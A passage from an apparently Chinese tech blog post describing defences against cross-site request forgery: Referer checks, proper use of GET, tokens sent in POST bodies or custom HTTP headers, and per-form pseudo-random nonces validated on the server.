Referer 是HTTP协议定义的一个头字段,它记录了该HTTP请求的来源地址。通过Referer就可以简单的区分出这次请求是来自哪里,并做到基本的防范。

但Referer毕竟是由请求者发起的,如果你用的是IE6浏览器(鄙视下IE),依然是可以伪造的。

  • 正确使用GET

GET常用在查看,列举,展示等不需要改变资源属性的时候。因为GET方式参数是直接呈现在url中的,很方便,但也很不安全。所以不要以GET方式开放不安全的接口。

  • 在请求地址中添加token并验证

在正确使用GET 的前提下,对于非GET请求,如POST,可以用在创建、修改、删除资源或者做其他一些相对敏感的事情。而且需要为每一个用户生成一个唯一的Token存放在Cookie或LocalStorage里面,并附带在Post请求中。但是由于XSS可以轻易的获取用户的Cookie或Local Storage,这种方式也不是十分的安全。

  • 在HTTP头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上csrftoken这个 HTTP 头属性,并把 token 值放入其中。而且,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心token 会透过 Referer 泄露到其他网站中去。

  • 表单伪随机数

不同的表单包含一个不同的伪随机值。这种做法,其实在一些知名的开源WEB框架里面早就有了,如:PHP的Drupal,Python的Flask,只是国人安全意思太薄弱,太后知后觉了。伪随机数的原理也很简单:

  1. 当页面表单生成的时候由后端服务生成伪随机数放置在表单的隐藏域里面,并在后端缓存伪随机数。

  2. 表单提交的时候后端服务器验证伪随机数的正确性和时效性,删除缓存的伪随机数。

这样做不仅可以避免CSRF攻击,同时可以避免表单的重复提交。

好了,关于浏览器工作原理和网络安全就先聊这么多,抛砖引玉,还是建议大家自行Google,一定会有更加深入的发现。喜欢我们的话就赶紧订阅我们吧~~~或者关注我们的微信公众号:架构云专家频道。每天新鲜干货定时推送哦~